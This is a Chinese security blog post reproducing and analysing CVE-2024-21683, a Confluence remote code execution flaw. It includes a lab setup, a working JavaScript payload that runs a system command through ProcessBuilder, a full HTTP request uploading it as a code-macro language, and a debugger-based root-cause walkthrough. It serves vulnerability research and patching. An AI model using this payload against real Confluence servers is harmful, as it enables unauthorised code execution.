前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-21683:Confluence远程代码执行漏洞

CVE-2024-21683:Confluence远程代码执行漏洞

作者头像
Timeline Sec
发布2024-07-15 12:31:13
1550
发布2024-07-15 12:31:13
举报
文章被收录于专栏:Timeline Sec

0x01 简介

Atlassian Confluence是一款由Atlassian开发的企业团队协作和知识管理软件,提供了一个集中化的平台,用于创建、组织和共享团队的文档、知识库、项目计划和协作内容,从而有效地管理项目知识和信息。Confluence 还集成了多种宏和插件,如日程表、任务列表和Jira集成。

0x02 漏洞概述

漏洞编号:CVE-2024-21683

经过管理员身份验证的远程威胁者可构造恶意请求,利用该漏洞在受影响的实例上执行任意代码,而无需用户交互。

0x03 影响版本

0x04 环境搭建

漏洞环境可以使用vulhub上现成的docker环境:

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527

可以顺便修改docker-compose.yml文件,把容器5005端口映射到本地的5005端口方便后面调试

docker-compose up -d 启动环境即可

访问8090端口,进行安装向导,会要求填写许可证密钥,需要向 Atlassian 申请 Confluence Server 测试证书

然后配置数据库,填写数据库地址db、数据库名称confluence、用户名postgres、密码postgres

等待安装完成即可

0x05 漏洞复现

1.登录管理员后台。在配置代码宏中,选择javaScript,添加新语言。

2.在上传页面中添加exp.js。代码文件exp.js内容为下面的代码:

代码语言:javascript
复制
new java.lang.ProcessBuilder["(java.lang.String[])"](["touch", "/tmp/CVE-2024-21683"]).start(); 

注意:也可以是执行其他命令

也可以直接使用burp发送请求,但要注意带上管理员Cookie

代码语言:javascript
复制
POST /admin/plugins/newcode/addlanguage.action HTTP/1.1
Host: 192.168.199.202:8090
Content-Length: 530
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.199.202:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9ZTAmucIpsJkBqSw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.199.202:8090/admin/plugins/newcode/configure.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E798362E7A06CF1087CC58A078F993A4
Connection: close

------WebKitFormBoundary9ZTAmucIpsJkBqSw
Content-Disposition: form-data; name="atl_token"

02b26de790c0e61a3e68012c4b3c4a7ab335556f
------WebKitFormBoundary9ZTAmucIpsJkBqSw
Content-Disposition: form-data; name="languageFile"; filename="exp.js"
Content-Type: text/javascript

new java.lang.ProcessBuilder["(java.lang.String[])"](["touch", "/tmp/CVE-2024-21683"]).start(); 
------WebKitFormBoundary9ZTAmucIpsJkBqSw
Content-Disposition: form-data; name="newLanguageName"

exp
------WebKitFormBoundary9ZTAmucIpsJkBqSw--

3、登录容器查看命令执行结果,成功创建了文件

0x06 漏洞分析

我们通过远程调试,具体看一下。

首先在docker环境中导出远程调试使用的环境。

也可以直接下载同版本的源码:

https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.3.zip

java环境的话也要保证是同版本的(容器是Linux的,我在windows上调试)

代码语言:javascript
复制
docker cp 0a55c16e8262:/opt/atlassian/confluence /root/confluence
docker cp 0a55c16e8262:/opt/java/openjdk /root/openjdk

导入IDEA中,SDK配置为java11,将WEB-INF目录下的lib、atlassian-bundled-plugins、atlassian-bundled-plugins-setup 添加为项目Library

修改docker容器中confluence启动脚本增加远程调试,这里使用的是setenv.sh脚本,路径为/opt/atlassian/confluence/bin/setenv.sh,在export CATALINA_OPTS前面增加。

代码语言:javascript
复制
CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}"

编辑完成后必须要重启docker 容器,才能生效

然后配置IDEA中的JVM远程调试,配置IP和端口

启动调试,提示如下说明远程调试连接成功

漏洞点对应功能点在 ../admin/plugins/newcode/addlanguage.action,这里是代码宏管理->添加新语言的位置。newcode插件在com.atlassian.confluence.ext.newcode-macro-plugin-xxx.jar,关键的函数是initStandardObjects()函数

我们定位到com/atlassian/confluence/ext/code/languages/impl/RhinoLanguageParse

parseLanguage()函数中的scriptString是可控变量就是我们上传时输入的js中的内容。这里调用了initSafeStandardObjects方法,跟进

这个函数调用initSafeStandardObjects函数,此外还加载Packages、JavaAdapter和JavaImporte类以及getClass函数的初始化操作,将常见的顶部包放到了"java", "javax", "org", "com", "edu", "net",通过LazilyLoadedCtor类调用这些参数,允许从JS中调用JAVA对象

initSafeStandardObjects初始化后,evaluateString方法就能执行 JavaScript 脚本

我们跟进evaluateString方法,这里会编译传入的脚步源代码,编译失败返回null,成功则调用exec方法执行并将结果返回

修复方式

目前官方已发布安全更新,受影响用户可以更新到最新版本:

https://www.atlassian.com/software/confluence/download-archives

参考链接

https://github.com/W01fh4cker/CVE-2024-21683-RCE

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 漏洞分析
  • 修复方式
  • 参考链接
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档